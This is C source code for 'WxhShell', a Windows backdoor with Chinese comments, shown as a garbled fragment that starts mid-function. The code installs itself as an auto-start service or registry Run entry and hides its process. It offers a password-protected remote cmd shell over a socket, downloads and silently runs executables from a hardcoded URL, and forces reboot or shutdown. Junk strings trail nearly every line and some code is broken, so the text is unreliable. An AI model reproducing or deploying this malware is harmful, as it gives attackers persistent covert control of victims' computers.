    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Z\Qa6f!  
    if(Boot(SHUTDOWN)) ZU\TA|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yyCx;  
    else { sz}YX R=m  
    closesocket(wsh); [+dOgyK  
    ExitThread(0); EA_6L\+8&  
    } /|v:$iH,C  
    break; ug47JW  
    } "_dh6naZX  
  // 获取shell ANgfG8>  
  case 's': { rN* , U\q  
    CmdShell(wsh); AT.WXP0$A  
    closesocket(wsh); f~nAJ+m=  
    ExitThread(0); ^,F8 ha  
    break; X$z@ *3=  
  } CtItzp  
  // 退出 57W4E{A  
  case 'x': { l'h[wwEXm{  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;`ZGiax  
    CloseIt(wsh); 'fB/6[bd  
    break; =<~/U?  
    } cu&tdg^q  
  // 离开 `72 uf<YQ  
  case 'q': { O{WJi;l  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7/^`y')  
    closesocket(wsh); @k.j6LKbc  
    WSACleanup(); ;533;(d* o  
    exit(1); >9KQWeD  
    break; 38(Cj~u=3  
        } ai/VbV'|  
  } erG@8CG  
  } %*4Gx +b  
Ga o(3Y  
  // 提示信息 L\p@1N?K  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D#lx&J.s  
} ;Kb]v\C:  
  } 8GC(?#Kb  
6@ `'}  
  return; [p3)C<;ZC  
} };m.Y>=)K  
N"d*pi#h  
// shell模块句柄 q r12"H  
int CmdShell(SOCKET sock) Rx e sK  
{ 'MEO?]Tf.^  
STARTUPINFO si; JpuF6mQ  
ZeroMemory(&si,sizeof(si)); Mk-C&#'  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; M[9]t("  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; adEcIvN$  
PROCESS_INFORMATION ProcessInfo; ((Bu Bu>  
char cmdline[]="cmd"; n~/#~VTVe  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |BysSJ  
  return 0; (C;oot,  
} neC]\B[Xm  
v&:R{  
// 自身启动模式 T""y)%  
int StartFromService(void) GdN'G  
{ v5i?4?-Z  
typedef struct =d_@k[8<0  
{ BS}uv3  
  DWORD ExitStatus; ?&Y3Fr)%  
  DWORD PebBaseAddress; aO@zeKg  
  DWORD AffinityMask; |0Kj0u8T  
  DWORD BasePriority; G $u:1&   
  ULONG UniqueProcessId; n*\AB=|X  
  ULONG InheritedFromUniqueProcessId; wzAp`Zs2Dm  
}   PROCESS_BASIC_INFORMATION; ^0t81,`  
)4[{+OJa  
PROCNTQSIP NtQueryInformationProcess; B8'(3&)My  
Q"]C" ?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~mUP!f  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; u(KeS`  
>iP>v`J  
  HANDLE             hProcess; 5gq3 >qo  
  PROCESS_BASIC_INFORMATION pbi; tYt/m6h  
Yyl2J#$!  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); k07JMS?  
  if(NULL == hInst ) return 0; ;8sEE?C$g  
?Mp)F2'  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); DvnK_Q!  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >u5}5OP7  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .ao'o,|vE  
Xmy(pV!PF  
  if (!NtQueryInformationProcess) return 0; <_""4  
^r=#HQGt  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <PkDfMx2  
  if(!hProcess) return 0; gDnG!i+  
&G55<tRE  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Qwx}e\=  
=Fea vyx  
  CloseHandle(hProcess); ja2LQe@ Q  
S5RS?ya  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &K k+RHM  
if(hProcess==NULL) return 0; ~I/7{B|yX  
=_cWCl^5  
HMODULE hMod; T$%u=$E%F  
char procName[255]; >'^l>FPc  
unsigned long cbNeeded; yB}y'5  
O3*Vilx  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); =}7wpTc,  
C%#C|X193  
  CloseHandle(hProcess); zEY Ey1  
oq]KOj[  
if(strstr(procName,"services")) return 1; // 以服务启动 ]5td,2E C  
0*:]eM};P  
  return 0; // 注册表启动 Q}]:lmqH  
} I?-9%4 8iM  
R|!4Y`  
// 主模块 Iu0K#.s_  
int StartWxhshell(LPSTR lpCmdLine) SVXey?A;CJ  
{ . 36'=K  
  SOCKET wsl; ~2A<fL,-  
BOOL val=TRUE; 2~h)'n7Mw  
  int port=0; h.'h L  
  struct sockaddr_in door; >E"FoZM=  
K r]!BI?z  
  if(wscfg.ws_autoins) Install(); 3{CGYd]_u  
40%p lNPj  
port=atoi(lpCmdLine); XA9$n_| bw  
&$hfAG]"  
if(port<=0) port=wscfg.ws_port; f$V']dOj1q  
KU33P>a"[k  
  WSADATA data; 4KybN  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,\}V.:THF  
QS=n 50T,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   0]>p|m9K^<  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); N.eSf  
  door.sin_family = AF_INET; zCvR/  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~,':PUkiV  
  door.sin_port = htons(port); 1ygu>sKS&A  
6xz&Qi7w  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { JpS:}yyJ>N  
closesocket(wsl); E?Q=#+}U  
return 1; d2X#_(+d  
} _,F wt  
MiOSSl};  
  if(listen(wsl,2) == INVALID_SOCKET) { ,PN>,hFL  
closesocket(wsl); FLy|+4D_%4  
return 1; !2&h=;i~V  
} `m'2RNSc+#  
  Wxhshell(wsl); j-{WPJa4\  
  WSACleanup(); $8i t&/JP,  
L**!$k"{5  
return 0; $a5K  
<B u*:O  
} R4V>_\D/  
)_bXKYUX*0  
// 以NT服务方式启动 QX(:!b  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) p3x(:=   
{ |Q:`:ODy`5  
DWORD   status = 0; iv;;GW{2  
  DWORD   specificError = 0xfffffff; RI*Q-n{  
'inWV* P*g  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 9pjk3a  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; >656if O  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; s 6hj[^O  
  serviceStatus.dwWin32ExitCode     = 0; dd4yS}yBlR  
  serviceStatus.dwServiceSpecificExitCode = 0; kP;Rts8JD  
  serviceStatus.dwCheckPoint       = 0; V l9\&EL  
  serviceStatus.dwWaitHint       = 0; $<33E e:a  
hZzsZQ`  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :EA,0 ,  
  if (hServiceStatusHandle==0) return; qvk?5#B  
[9+M/O|Vs  
status = GetLastError(); s` S<BX7  
  if (status!=NO_ERROR) QL\'pW5  
{ n!tCz<v  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; [;.zl1S<  
    serviceStatus.dwCheckPoint       = 0; X)uT-Fy  
    serviceStatus.dwWaitHint       = 0; s@3!G+ -}  
    serviceStatus.dwWin32ExitCode     = status; e dD(s5  
    serviceStatus.dwServiceSpecificExitCode = specificError; O>k.sO <  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); +p43d:[  
    return; fwl RwH(  
  } '-v~HwC+/T  
14^t{  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ~KX!i 8+X  
  serviceStatus.dwCheckPoint       = 0; X$st{@}ZB  
  serviceStatus.dwWaitHint       = 0; \{~x<<qFd  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 74Kl!A  
} ^rxXAc[  
1[}VyP6 e  
// 处理NT服务事件,比如:启动、停止 4`*jF'N[  
VOID WINAPI NTServiceHandler(DWORD fdwControl) !A<?nz Uv  
{ 'rCwPsI&4  
switch(fdwControl) -i;#4@^t  
{ b9\=NdyCY  
case SERVICE_CONTROL_STOP: n ~ =]/  
  serviceStatus.dwWin32ExitCode = 0; 4Q!*h8O  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Kk/qd)nk  
  serviceStatus.dwCheckPoint   = 0; P|64wq{B8  
  serviceStatus.dwWaitHint     = 0; ]*v%(IGK  
  { :z^c<KFX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); G-;pMFP(?  
  } L;v#9^Fq  
  return; NVOY,g=3X  
case SERVICE_CONTROL_PAUSE: z1YC%Y|R  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ]p$fEW g  
  break; \9 ^w M>U  
case SERVICE_CONTROL_CONTINUE: 7, O_'T &  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; a Fl(K\  
  break; jI y'mGaG  
case SERVICE_CONTROL_INTERROGATE: y|1-,u.$  
  break; Y%Saz+  
}; M'[J0*ip  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); DuCq16'0T  
} :@n e29,}  
uS<&$J H  
// 标准应用程序主函数 *!B,|]wq=  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .+ _x|?'  
{ `XI1,&Wp7  
7MBz&wE^f  
// 获取操作系统版本 g.z/%Lp K  
OsIsNt=GetOsVer(); .PF~8@1ju  
GetModuleFileName(NULL,ExeFile,MAX_PATH);  fkYa  
QhN5t/Hr  
  // 从命令行安装 ]V}";cm;2  
  if(strpbrk(lpCmdLine,"iI")) Install(); Wny{qj)=  
!v$hqNt7  
  // 下载执行文件 ,Y}HP3  
if(wscfg.ws_downexe) { Q?Q!D+~mND  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) A.(Z0,S-i  
  WinExec(wscfg.ws_filenam,SW_HIDE); ^F_c'  
} \ocJJc9  
 Q L  
if(!OsIsNt) { 9D-PmSnv  
// 如果时win9x,隐藏进程并且设置为注册表启动 'Kc;~a  
HideProc(); @_0XK)pW  
StartWxhshell(lpCmdLine); |"\A5v|1  
} na>UFw7>*  
else 0riTav8  
  if(StartFromService()) j#.Aiy:,  
  // 以服务方式启动 q,kdr)-  
  StartServiceCtrlDispatcher(DispatchTable); FzW7MW>\x  
else C+jlIT+  
  // 普通方式启动 ;5dJ5_}  
  StartWxhshell(lpCmdLine); "){"{~  
Me2%X>;  
return 0; CO-9-sQx  
} _-^a8F>/19  
kp LDK81I  
8+^q9rLii  
f{G ^b&x  
=========================================== "! m6U#^  
42~tdD  
i=nd][1n  
SwXVa/9a"  
?s6v>#H%  
(gQP_Oa(  
" k`_sKr]9  
 l|j  
#include <stdio.h> jH({Qc,97  
#include <string.h> e?,n>  
#include <windows.h> Vo"Wr>F  
#include <winsock2.h> `1{Y9JdQ  
#include <winsvc.h> kc-=5l  
#include <urlmon.h> g1Ed:V]_  
=;ClOy9  
#pragma comment (lib, "Ws2_32.lib") @>cz$##`  
#pragma comment (lib, "urlmon.lib") Je5}Z.3m  
L7;8:^  v  
#define MAX_USER   100 // 最大客户端连接数 L`NY^  
#define BUF_SOCK   200 // sock buffer [;t-XC?[nk  
#define KEY_BUFF   255 // 输入 buffer -n FKP&P  
xy))}c%  
#define REBOOT     0   // 重启 "ngULpb{R  
#define SHUTDOWN   1   // 关机 ' Dcj\=8  
xsu9DzPf&{  
#define DEF_PORT   5000 // 监听端口 jVi> 9[rz  
`i`+yh>pc#  
#define REG_LEN     16   // 注册表键长度 hz:h>Hwy  
#define SVC_LEN     80   // NT服务名长度 & 6'Rc#\P  
l0 =[MXM4  
// 从dll定义API UE8j8U'L  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); GXC,p(vbE  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 5.1z9[z  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 6S`0<Z;;/  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~(nc<M[  
qYoB;gp  
// wxhshell配置信息 P9`R~HO'`  
struct WSCFG { 0vX4v)-^u  
  int ws_port;         // 监听端口 !7Eodq-0  
  char ws_passstr[REG_LEN]; // 口令 TZ&X0x8  
  int ws_autoins;       // 安装标记, 1=yes 0=no 5skxixG  
  char ws_regname[REG_LEN]; // 注册表键名 *4/FN TC  
  char ws_svcname[REG_LEN]; // 服务名 Lq|>n Y  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ]Hp>~Zvbb  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 $Nd,6w*`  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 sYjhQN=Y*  
int ws_downexe;       // 下载执行标记, 1=yes 0=no L!>nl4O>`  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" nr2 Q[9~  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 /~M H]Gh  
4 km^S9  
}; k&2=-qgVR  
sUF9_W5z  
// default Wxhshell configuration G4uG"  
struct WSCFG wscfg={DEF_PORT, {`QA.he.  
    "xuhuanlingzhe",  0j_kK  
    1, (:aU"5M  
    "Wxhshell", Cb1w8l0  
    "Wxhshell", 3pg=9*{  
            "WxhShell Service", P#O2MiG  
    "Wrsky Windows CmdShell Service", m>%b4M  
    "Please Input Your Password: ", V"m S$MN  
  1, ;-6-DEL  
  "http://www.wrsky.com/wxhshell.exe", baBBn %_V  
  "Wxhshell.exe" P 0e-v0  
    }; %Yj%0  
In?=$_p  
// 消息定义模块 #8|LPfA  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; d{"-iw)t  
char *msg_ws_prompt="\n\r? for help\n\r#>"; /M_$4O;*@  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; |RFBhB/u  
char *msg_ws_ext="\n\rExit."; C,An\lsT  
char *msg_ws_end="\n\rQuit."; g:>'+(H;  
char *msg_ws_boot="\n\rReboot..."; PVsKI<  
char *msg_ws_poff="\n\rShutdown..."; TWzLJ63*  
char *msg_ws_down="\n\rSave to "; h:nybLw?  
&^r>Q`u  
char *msg_ws_err="\n\rErr!"; gxN>q4z  
char *msg_ws_ok="\n\rOK!"; J0?kEr  
 .qgUD  
char ExeFile[MAX_PATH]; ")T\_ME  
int nUser = 0; & 3BoK/y3  
HANDLE handles[MAX_USER]; 8.i4QaU  
int OsIsNt; KNUK]i&L  
{drc}BL_  
SERVICE_STATUS       serviceStatus; TIWR[r1!  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 93>4n\  
s_'&_>D  
// 函数声明 u= NLR\  
int Install(void); )h8}{*  
int Uninstall(void); 9af.t  
int DownloadFile(char *sURL, SOCKET wsh); ,~1"50 Hp@  
int Boot(int flag); {_QdB;VwH  
void HideProc(void); 98>GHl'lM  
int GetOsVer(void); ;V xRaj?  
int Wxhshell(SOCKET wsl); i"WYcF |  
void TalkWithClient(void *cs); wI$ a1H  
int CmdShell(SOCKET sock); Z!)~?<gcq:  
int StartFromService(void); # z|Q $  
int StartWxhshell(LPSTR lpCmdLine); |A%9c.DG.  
Ao\xse{E  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ieFl4hh[G  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); j3gDGw;  
SIe!=F[  
// 数据结构和表定义 S6TNu+2w4  
SERVICE_TABLE_ENTRY DispatchTable[] = ^[M{s(b  
{ MUO<o  
{wscfg.ws_svcname, NTServiceMain}, aD^$v  
{NULL, NULL} Y%pab/Y  
}; D 2X_Yv  
K~N$s "Qx  
// 自我安装 tyu@ a CK  
int Install(void) 9iA rBL"  
{ S+ kq1R  
  char svExeFile[MAX_PATH]; 3Q=^&o0fl  
  HKEY key; gcJ!_KZK  
  strcpy(svExeFile,ExeFile); NRi5 Vp2=  
%rzPh<>e  
// 如果是win9x系统,修改注册表设为自启动 x:|Y)Dn\  
if(!OsIsNt) { /jY u-H+C  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { o ).deP s-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]A*}Dem*5  
  RegCloseKey(key); ,T$ts  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *g/klK  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); L:z0cvn"  
  RegCloseKey(key); #B `?}a=  
  return 0; G]^[i6PQs  
    } oQ$yr^M  
  } Lc3&\q e  
} (WM3(US|  
else { oBzl=N3<  
2jsbg{QS#_  
// 如果是NT以上系统,安装为系统服务 d2rs+-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); d9N[f>  
if (schSCManager!=0) ~zVxprEf_  
{ IhnBp 6p9  
  SC_HANDLE schService = CreateService $l7^-SK`E  
  ( Ei;tfB  
  schSCManager, #[93$)Gd!  
  wscfg.ws_svcname, K7 e~%mY  
  wscfg.ws_svcdisp, B`*,L\LZ*  
  SERVICE_ALL_ACCESS, $ghZ<Y2}9  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5/meH[R\M  
  SERVICE_AUTO_START, \Wbmmd}8  
  SERVICE_ERROR_NORMAL,  T]#V  
  svExeFile, zLI0RI.Pe  
  NULL, D /eH~  
  NULL, ,_[x|8m  
  NULL, K1& QAXyP  
  NULL, S,Y|;p<+^  
  NULL d*(aue=  
  ); ^ Ltho`  
  if (schService!=0) Ndmt$(b  
  { baxZ>KNi  
  CloseServiceHandle(schService); @Nu2 :~JO  
  CloseServiceHandle(schSCManager); =L6#=7hcl  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); pLMt 2 G  
  strcat(svExeFile,wscfg.ws_svcname); tFN >]`Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {SoI;o_>  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ui8 Q2{z  
  RegCloseKey(key); 5&]5*;BvJ  
  return 0; mU'<:gL+  
    } P4zo[R%4  
  } .sMs_ 5D  
  CloseServiceHandle(schSCManager); 12$0-@U  
} 6Q.S  
} &|yLTx  
q z)2a2C  
return 1; &2'-v@kK  
} i"{O~[  
sNf& "C!;  
// 自我卸载 L/3A g* ]  
int Uninstall(void) ;>6< u.N  
{ pYr"3BwG  
  HKEY key; T j$'B[cv  
jhu &Wh  
if(!OsIsNt) { B(Sy.n  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { nt.LiM/L  
  RegDeleteValue(key,wscfg.ws_regname); H]TdW;ZbZ  
  RegCloseKey(key); l|5 h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { k.J%rRneN  
  RegDeleteValue(key,wscfg.ws_regname); /dnwN7Gf  
  RegCloseKey(key); W4^L_p>Tm^  
  return 0; w)btv{*  
  } Hv,|XE@Y  
} sdp&D@  
} w5FIHYl6B  
else { 0K!3Ny9(  
s%[F,hQRk  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); KE?t?p  
if (schSCManager!=0) r )|3MUj  
{ TnW`#.f  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =8FvkNr  
  if (schService!=0) #w$Y1bjn  
  { ,67Q!/O  
  if(DeleteService(schService)!=0) { =SDex.ZK]  
  CloseServiceHandle(schService); R2bqhSlF  
  CloseServiceHandle(schSCManager); u?').c4  
  return 0; 4pmeu:26  
  } z]7 WC  
  CloseServiceHandle(schService); YAi-eL67l  
  } _3IT3mb2n  
  CloseServiceHandle(schSCManager); ,EqQU|  
} DE13x *2  
} ?Y=aO(}=h  
z/?* h  
return 1; ew;;e|24  
} Iix,}kzss  
Bk8}K=%w  
// 从指定url下载文件 vu0Ql1  
int DownloadFile(char *sURL, SOCKET wsh) +LHU}'|  
{ 8}%F`=Y0  
  HRESULT hr; manw;`Q  
char seps[]= "/"; Ku5||u.F4*  
char *token; [@$ SLl^Y  
char *file; +IZ=E >a  
char myURL[MAX_PATH]; n,T &n  
char myFILE[MAX_PATH]; zCs34=3 D[  
y4\X~5kU  
strcpy(myURL,sURL); 4[ uqsJB  
  token=strtok(myURL,seps); 4:MvC^X~z  
  while(token!=NULL) RhYe=Qh4{p  
  { Jv~R/qaaD  
    file=token; }G4I9Py  
  token=strtok(NULL,seps); 'h$:~C  
  } g-3^</_fZ  
` w;Wud'*<  
GetCurrentDirectory(MAX_PATH,myFILE); ^}  {r@F  
strcat(myFILE, "\\"); 5:PS74/  
strcat(myFILE, file); Lf_Y4a#  
  send(wsh,myFILE,strlen(myFILE),0); \((MoQ9Qk  
send(wsh,"...",3,0); |n_N.Z  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #p+iwW-  
  if(hr==S_OK) 082}=Tsx   
return 0; ~[H8R|j "  
else r3V1l8MV  
return 1; w4L()eP#?=  
QQ?t^ptv  
} WcmX"{  
5OM #_.p  
// 系统电源模块 0E\#!L  
int Boot(int flag) xMbgBx4+  
{ qrMED_(D  
  HANDLE hToken; |bk9< i ?  
  TOKEN_PRIVILEGES tkp; iEn:Hh)  
`%YMUBaI  
  if(OsIsNt) { [ G 9Pb)  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); /xX7:U b  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ?HG[N7=j  
    tkp.PrivilegeCount = 1; 8T+9 fh]I  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; MkW=sD_  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ByY^d#oE  
if(flag==REBOOT) { \Zf=A[  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) si&du  
  return 0; izSX  
} (iKJ~bJ  
else { ^i@anbH  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~d7t\S  
  return 0; ;*?>w|t}w  
} HMVP71  
  } _DxHJl  
  else { YCRE-5!  
if(flag==REBOOT) { `E|i8M3g  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 'p5M|h\:T  
  return 0; /<_!Gz.@uG  
} /mwUDf6x  
else { 8SpG/gl"  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !h1:AW_iz  
  return 0; G:*vV#K  
} @QTw9,pS  
} ?Uq"zq  
7"eK<qJ  
return 1; DpggZ|J  
} S ,F[74K  
N3$1f$`  
// win9x进程隐藏模块 Cu`  
void HideProc(void) yKhI&  
{ A+^okT37r  
e-*@R#x8+  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); +a39 !j 1_  
  if ( hKernel != NULL ) \^6[^\@[  
  { .xqi7vVHZ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \v&zsv\B@  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); LEM%B??&5z  
    FreeLibrary(hKernel); t+ w{uwEY  
  } ~AjPa}@ f  
s,r|p@^  
return; i&m_G5u88  
} D\G.p |9=  
WOZuFS13  
// 获取操作系统版本 /e"iY F  
int GetOsVer(void) lrZ]c:%k  
{ s! 2[zJ19p  
  OSVERSIONINFO winfo; ;N#}3lpLqg  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); (o*YGYC  
  GetVersionEx(&winfo); -$"$r ~ad  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _yg;5#3  
  return 1; {@CQ (  
  else \(Oc3+n6  
  return 0; ntLEk fK{  
} e_e\Ie/pDc  
N ;=z o-8  
// 客户端句柄模块 M?YNK]   
int Wxhshell(SOCKET wsl) >%;i@"  
{ hlL$3.]  
  SOCKET wsh; pMT7/y-  
  struct sockaddr_in client; UhqTn$=fb  
  DWORD myID; 9;Z{++z  
{[#)Q.2  
  while(nUser<MAX_USER) B!pz0K*uG  
{ 9vP;i= fr  
  int nSize=sizeof(client); +z nlf-  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); (=uT*Cb  
  if(wsh==INVALID_SOCKET) return 1; la<.B^  
Jy/< {7j  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 1iY4|j;ahV  
if(handles[nUser]==0) )1!<<;@0  
  closesocket(wsh); }0pp"[JU  
else !.,J;Qt  
  nUser++; O6NH  
  } f|VCibI  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); EtzSaB*|  
{Vj&i.2,  
  return 0; Bk\Y v0  
} 4ams~  
iS,l  
// 关闭 socket &u[{VR:  
void CloseIt(SOCKET wsh) Y>w7%N  
{ hhaiH i!$  
closesocket(wsh); %B\x %e ;P  
nUser--; mP\V.^  
ExitThread(0); _|["}M"?  
} nrMW5>&-`  
WfaMu| L  
// 客户端请求句柄 0&s a#g2  
void TalkWithClient(void *cs) %\ i&g$  
{ V3ozaVk;  
*Z"`g %,;  
  SOCKET wsh=(SOCKET)cs; uCr& `  
  char pwd[SVC_LEN]; `sqr>QD  
  char cmd[KEY_BUFF]; "6\ 5eFN;  
char chr[1]; tgKr*8t{  
int i,j; pp"#pl  
=oI[E~1<  
  while (nUser < MAX_USER) { 3!l>\#q6  
_Z]l=5d  
if(wscfg.ws_passstr) { )9"^ D  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |Jn|GnM  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); W"Y)a|rG%  
  //ZeroMemory(pwd,KEY_BUFF);  j5/pVXO  
      i=0; Q~nVbj?c2v  
  while(i<SVC_LEN) { IMwV9rF  
'Wnh1|z  
  // 设置超时 j7Fb4;o{  
  fd_set FdRead; } doAeTZ  
  struct timeval TimeOut; pFS@yHs  
  FD_ZERO(&FdRead); - $<oY88  
  FD_SET(wsh,&FdRead); I}bu  
  TimeOut.tv_sec=8; +"-l~`+<es  
  TimeOut.tv_usec=0; ~'lT8 n_  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); : |s;2Y  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 7he,(V  
 B`e/ /  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <VhmtT%7  
  pwd=chr[0]; t$nJmfzm  
  if(chr[0]==0xd || chr[0]==0xa) { 5kw  K%  
  pwd=0; |p[Mp:^^  
  break; SX"|~Pi(  
  } UDr 1t n  
  i++; ((A@VcX  
    } [<@T%yq  
]:Ep1DIMl  
  // 如果是非法用户,关闭 socket P}8hK   
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); MS;^:t1`  
} jdG2u p  
KsOSPQDGE  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ?h4[yp=w  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); uSR%6=$  
f4  S:L&  
while(1) { Bbs1U  
+:@^nPfHy  
  ZeroMemory(cmd,KEY_BUFF); VYb,Hmm>kC  
m+'1c}n^7  
      // 自动支持客户端 telnet标准   *,G< X^  
  j=0; c;]\$#2  
  while(j<KEY_BUFF) { M _< |n  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8J'5%$3u  
  cmd[j]=chr[0]; LmJjO:W}^y  
  if(chr[0]==0xa || chr[0]==0xd) { 2?%*UxcO  
  cmd[j]=0; []@@  
  break; YaS!YrpI  
  } C '[4jz0xF  
  j++; pP.`+vPi  
    } _DSDY$Ec  
;g?PK5rB(  
  // 下载文件 3y.+03 W  
  if(strstr(cmd,"http://")) { uxxk&+M  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); i}8OaX3x  
  if(DownloadFile(cmd,wsh)) cZN<}n+q  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {D8opepO)  
